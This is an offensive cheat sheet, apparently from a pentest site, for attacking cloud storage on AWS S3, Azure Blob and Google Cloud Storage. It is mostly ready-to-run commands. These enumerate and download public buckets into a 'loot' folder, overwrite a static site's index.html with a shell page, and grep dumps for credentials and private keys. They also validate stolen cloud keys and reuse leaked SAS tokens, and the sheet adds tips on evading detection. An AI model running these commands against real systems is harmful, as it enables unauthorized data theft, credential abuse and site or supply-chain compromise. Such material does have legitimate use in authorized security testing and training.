Cloud Storage
Sections Cloud Storage
S3, Azure Blob, GCS - same idea, three implementations. Public buckets, weak ACLs, exposed objects, pre-signed URL leaks.
DOMAIN=target.com
BUCKET=target-prod-assets
i. AWS S3
Anonymous access tests
## List bucket contents (anonymous):
curl "https://$BUCKET.s3.amazonaws.com/"
curl "https://s3.amazonaws.com/$BUCKET/"
## Both formats work. Different responses tell you about region restrictions.
## With aws CLI (no credentials needed for public):
aws s3 ls "s3://$BUCKET/" --no-sign-request
aws s3 cp "s3://$BUCKET/file.txt" - --no-sign-request
## Recursive download of everything readable:
aws s3 sync "s3://$BUCKET/" ./loot --no-sign-request
Status codes:
- 200 OK with XML body: listing allowed, you see all object keys
- 200 OK no body, 403 on objects: bucket policy allows listing but blocks reads
- 403 AccessDenied: bucket exists, listing denied, may still have specific public objects
- 404 NoSuchBucket: doesn’t exist
- 301 Moved Permanently: wrong region, try the URL in the response
Object-level ACL grants (write to public bucket)
Some buckets allow s3:PutObject to anyone. Test:
echo 'test' > /tmp/x.txt
aws s3 cp /tmp/x.txt "s3://$BUCKET/" --no-sign-request
## Success = you can overwrite files in the bucket
## Path traversal for static-site buckets:
aws s3 cp /tmp/shell.html "s3://$BUCKET/index.html" --no-sign-request
Misconfigured ACLs to look for
aws s3api get-bucket-acl --bucket "$BUCKET" --no-sign-request
aws s3api get-bucket-policy --bucket "$BUCKET" --no-sign-request
aws s3api get-bucket-cors --bucket "$BUCKET" --no-sign-request
aws s3api get-bucket-versioning --bucket "$BUCKET" --no-sign-request
Read the policy JSON. Look for Principal: * or AWS: * on dangerous actions (s3:PutObject, s3:DeleteObject, s3:PutBucketPolicy).
Common bucket discovery shortcuts
## s3scanner: bulk testing
s3scanner scan --buckets-file potential.txt --output found.txt
## Bucket name in target's web app source code:
curl -s "https://$DOMAIN" | grep -oE 's3[a-z0-9.-]*\.amazonaws\.com'
## Bucket referenced via CloudFront origin:
dig +short cdn.target.com ## may resolve to bucket-name.s3.amazonaws.com
Versioned objects: pull old/deleted files
If s3api get-bucket-versioning shows Enabled, you can read previous object versions even when the current version was “deleted”:
aws s3api list-object-versions --bucket "$BUCKET" --no-sign-request
aws s3api get-object --bucket "$BUCKET" --key file.txt --version-id <VERSION_ID> /tmp/old.txt --no-sign-request
ii. Azure Blob Storage
URL structure
https://<storage_account>.blob.core.windows.net/<container>/<blob>
Anonymous access tests
## List container contents (anonymous):
curl "https://$STORAGE.blob.core.windows.net/$CONTAINER?restype=container&comp=list"
## With az CLI (no auth for public):
az storage blob list --account-name "$STORAGE" --container-name "$CONTAINER" --auth-mode login --output table
Status codes:
- 200 OK with XML: anonymous listing allowed (
PublicAccess: Container) - 200 OK on specific blobs only:
PublicAccess: Blob(read individual blobs if you know names, no listing) - 404 ContainerNotFound or 403: not accessible anonymously
Discover containers and blobs
## Common container names: $logs $web data backup files images uploads media public assets
for c in '$logs' '$web' data backup files images uploads media public assets logs reports; do
url="https://$STORAGE.blob.core.windows.net/$c?restype=container&comp=list"
code=$(curl -sI "$url" -o /dev/null -w "%{http_code}")
[ "$code" = "200" ] && echo "PUBLIC LIST: $STORAGE/$c"
done
Pre-signed URL / SAS token leakage
Search the target’s HTML/JS for SAS tokens (look for ?sv= query strings):
curl -s "https://$DOMAIN/app.js" | grep -oE 'https://[^"]+blob\.core\.windows\.net[^"]+\?sv=[^"]+'
Once you have a SAS token, you have whatever rights the token grants until it expires (often months). Common leakage: SAS tokens hardcoded in mobile app reverse engineering, JavaScript bundles, public S3 buckets containing config files.
iii. GCS (Google Cloud Storage)
URL structure
https://storage.googleapis.com/<bucket>/<object>
https://<bucket>.storage.googleapis.com/<object>
Anonymous access tests
## List bucket (anonymous):
curl "https://storage.googleapis.com/storage/v1/b/$BUCKET/o"
## With gcloud (will use whatever auth you have, no auth = anonymous):
gcloud storage ls "gs://$BUCKET/" --no-user-output-enabled 2>/dev/null
Status codes follow REST conventions: 200 listing, 401/403 auth required, 404 not found.
IAM on buckets vs ACLs on objects
GCS has two permission models:
- Bucket-level IAM (modern, recommended)
- Legacy ACLs on individual objects
## Read bucket IAM:
gcloud storage buckets describe "gs://$BUCKET" --format=json
## Read object ACL:
gcloud storage objects describe "gs://$BUCKET/file.txt" --format=json
Public exposure happens at either level. Look for allUsers or allAuthenticatedUsers as bindings/members.
gcs_enum / GCPBucketBrute
## Wordlist-based brute force with permission analysis:
gcpbucketbrute -k target -u ## -u = unauthenticated
## With auth (more permissions visible):
gcpbucketbrute -k target -s service-account.json
iv. Common file types worth looking for
After a public-bucket find, search recursively for these patterns:
## Once you have a sync of the bucket contents:
find ./loot -type f \( \
-name '*.env' -o -name '.env*' -o \
-name '*.key' -o -name '*.pem' -o -name '*.p12' -o -name '*.pfx' -o \
-name '*.sql' -o -name '*.bak' -o -name '*.backup' -o \
-name 'config.*' -o -name '*.config' -o \
-name '.git*' -o -name '.dockerignore' -o \
-name 'docker-compose.*' -o -name 'kubernetes.*' -o \
-name '*.tar.gz' -o -name '*.zip' \
\) 2>/dev/null
## Grep for credentials in everything:
grep -rE 'AKIA[0-9A-Z]{16}|aws_secret_access_key|client_secret|api_key|password|private_key' ./loot/ 2>/dev/null
v. AWS access key formats (recognize what you find)
| Prefix | Type |
|---|---|
AKIA... | Long-term IAM user access key |
ASIA... | Short-term STS session token (temporary) |
AROA... | Role IDs (not keys, but appear in policies) |
AGPA... | Group IDs |
AIPA... | EC2 instance profile |
ANPA... | Managed policy IDs |
ANVA... | Anonymous IDs |
If you find AKIA... in a public bucket, also look for the matching aws_secret_access_key= in the same file or repo.
vi. Validate found AWS keys
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
aws sts get-caller-identity
## If valid: outputs ARN, user, account ID
## Then continue to [AWS](https://jinpwn.dev/cheatsheets/cloud/aws/) for privesc paths
For temporary creds (ASIA...), also set AWS_SESSION_TOKEN:
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
vii. Azure key formats
## Storage account access keys (base64, 88 chars):
[A-Za-z0-9+/]{86}==
## SAS tokens (query string starting with ?sv=):
?sv=2021-12-02&ss=b&srt=sco&sp=rwdlacx&se=2026-01-01T00:00:00Z&...
## Service principal credentials (in JSON):
"clientId": "...", "clientSecret": "...", "tenantId": "..."
Validate:
## Storage account key
az storage container list --account-name STORAGE --account-key "KEY"
## SAS token
curl "https://STORAGE.blob.core.windows.net/CONTAINER?<SAS_TOKEN>&restype=container&comp=list"
## Service principal
az login --service-principal --username CLIENTID --password CLIENTSECRET --tenant TENANTID
viii. GCP service account key format
{
"type": "service_account",
"project_id": "my-project",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----\n...",
"client_email": "user@my-project.iam.gserviceaccount.com",
...
}
Validate:
gcloud auth activate-service-account --key-file=key.json
gcloud auth list
gcloud projects list
ix. OPSEC for storage abuse
- Bucket reads log to provider-side audit logs (CloudTrail / Storage logs / GCS logs)
- The bucket owner often doesn’t enable access logging - anonymous reads usually go undetected
- High-volume scanning can rate-limit your IP
- Write attacks (upload, overwrite) ALWAYS log even when reads don’t
x. Quick triage flow
For each found bucket/container:
- Listing allowed? -> enumerate object keys, download interesting ones
- Anonymous write? -> check if it’s a static site / hosted asset (overwrite = XSS / supply chain)
- Find creds in dumps? -> validate them, jump to AWS /Azure /GCP for privesc
- SAS / pre-signed URLs in app source? -> use them while valid
- Bucket name + 403 on listing? -> guess common object paths (
/backup.zip,/db.sql,/.env)